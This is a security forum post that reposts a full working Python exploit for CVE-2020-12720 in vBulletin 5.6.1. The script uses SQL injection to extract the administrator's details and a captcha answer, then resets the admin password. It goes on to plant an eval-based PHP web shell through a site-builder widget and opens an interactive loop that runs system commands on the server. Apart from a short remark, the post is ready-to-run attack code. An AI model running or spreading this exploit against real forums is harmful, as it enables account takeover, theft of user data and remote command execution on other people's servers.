Jump to content
Nytro

CVE-2020-12720 vBulletin 5.6.1 SQL Injection to RCE

Recommended Posts

#!/usr/bin/env python3
# rekter0, zenofex

import requests
import sys
from random import randint

if (len(sys.argv)<2 ):
	print('[*] usage: ./'+sys.argv[0]+' http://host/forum')
	exit()

url = sys.argv[1]

#CHECK
s = requests.Session()
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,"vbulletinrcepoc",8,7,6,5,4,3,2,1;-- -'})

if not 'vbulletinrcepoc' in r.text:
	print('[-] not vulnerable')
	exit()

print('[+] Host is up and vulnerable')

# GET TABLES PREFIXES
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,table_name,8,7,6,5,4,3,2,1 from information_schema.columns WHERE column_name=\'phrasegroup_cppermission\';-- -'})
table_prefix=r.json()['rawtext'].split('language')[0]

print('[+] Table prefix '+table_prefix)

# GET ADMIN DETAILS
# assuming admin groupid=6, default install groups unchanged
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,concat(username,0x7c,userid,0x7c,email,0x7c,token),8,7,6,5,4,3,2,1 from '+table_prefix+'user where usergroupid=6;-- -'})
admin_user,admin_id,admin_email,admin_orig_token = r.json()['rawtext'].split('|')
print('[+] admin original token '+admin_orig_token)


# REQUEST CAPTCHA
r = s.post(url+'/ajax/api/hv/generateToken?',headers={'X-Requested-With': 'XMLHttpRequest'},data={'securitytoken':'guest'})
rhash=r.json()['hash']
r = s.get(url+'/hv/image?hash='+rhash)



# GET CAPTCHA
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,count(answer),8,7,6,5,4,3,2,1 from '+table_prefix+'humanverify limit 0,1-- -'})

#print r.text
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,(answer),8,7,6,5,4,3,2,1 from '+table_prefix+'humanverify limit '+str(int(r.json()['rawtext'])-1)+',1-- -'})


# REQUEST NEW PW
CAPTCHA=r.json()['rawtext']


print('[+] Captcha '+CAPTCHA)

r = s.post(url+'/auth/lostpw', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'email':admin_email,'humanverify[input]':CAPTCHA,'humanverify[hash]':rhash,'securitytoken':'guest'})
if not r.json()['response']==None:
	print('[-] reset pw failed')
	exit()

print('[+] Resetting password')
# RETRIEVE RESET TOKEN FROM DB
# GET CAPTCHA
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,activationid,8,7,6,5,4,3,2,1 from '+table_prefix+'useractivation WHERE userid='+admin_id+' limit 0,1-- -'})
TOKEN=r.json()['rawtext']


# RESET PW
r = s.post(url+'/auth/reset-password', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'userid':admin_id,'activationid':TOKEN,'new-password':'P4$$w0rd!','new-password-confirm':'P4$$w0rd!','securitytoken':'guest'})
if not 'Logging in' in r.text:
	print('[-] fail')
	exit()
print('[!] new admin credentials {'+admin_user+':P4$$w0rd!}')


# LOGIN
r = s.post(url+'/auth/ajax-login', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'username':admin_user,'password':'P4$$w0rd!','securitytoken':'guest'})
TOKEN = r.json()['newtoken']

print('[+] Writing shell')
#ACTIVATE SITE-BUILDER
r = s.post(url+'/ajax/activate-sitebuilder', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'pageid':'1','nodeid':'0','userid':'1','loadMenu':'false','isAjaxTemplateRender':'true','isAjaxTemplateRenderWithData':'true','securitytoken':TOKEN})

r = s.post(url+'/auth/ajax-login', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'logintype':'cplogin','userid':admin_id,'password':'P4$$w0rd!','securitytoken':TOKEN})

# SAVE WIDGET
r = s.post(url+'/ajax/api/widget/saveNewWidgetInstance', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'containerinstanceid':'0','widgetid':'23','pagetemplateid':'','securitytoken':TOKEN})
widgetinstanceid = r.json()['widgetinstanceid']
pagetemplateid   = r.json()['pagetemplateid']

r = s.post(url+'/ajax/api/widget/saveAdminConfig', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'widgetid':'23','pagetemplateid':pagetemplateid,'widgetinstanceid':widgetinstanceid,'data[widget_type]':'','data[title]':'Unconfigured+PHP+Module','data[show_at_breakpoints][desktop]':'1','data[show_at_breakpoints][small]':'1','data[show_at_breakpoints][xsmall]':'1','data[hide_title]':'0','data[module_viewpermissions][key]':'show_all','data[code]':'eval($_GET["e"]);','securitytoken':TOKEN})


#SAVE PAGE
myshell = 'myshell'+str(randint(10, 100))
r = s.post(url+'/admin/savepage', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'input[ishomeroute]':'0','input[pageid]':'0','input[nodeid]':'0','input[userid]':admin_id,'input[screenlayoutid]':'2','input[templatetitle]':myshell,'input[displaysections[0]]':'[]','input[displaysections[1]]':'[]','input[displaysections[2]]':'[{"widgetId":"23","widgetInstanceId":"'+str(widgetinstanceid)+'"}]','input[displaysections[3]]':'[]','input[pagetitle]':myshell,'input[resturl]':myshell,'input[metadescription]':'vBulletin Forums','input[pagetemplateid]':pagetemplateid,'url':url,'securitytoken':TOKEN})


r = s.get(url+'/'+myshell+'?e=echo \'pwwwwwwwwwwwwwwwwwwned!\';', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} )
if 'pwwwwwwwwwwwwwwwwwwned' in r.text:
	print('[!] GOT SHELL')
	while True:
		cmd = input('> ')
		r = s.get(url+'/'+myshell+'?e=system(\''+cmd+'\');', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} )
		print(r.text.split('<div class="widget-content">')[1].split('</div>')[0].strip().rstrip())

Sursa: https://github.com/rekter0/exploits/blob/master/CVE-2020-12720/exploit.py

 

Bine ca am scapat de mizeria aia de vBulletin. 

  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...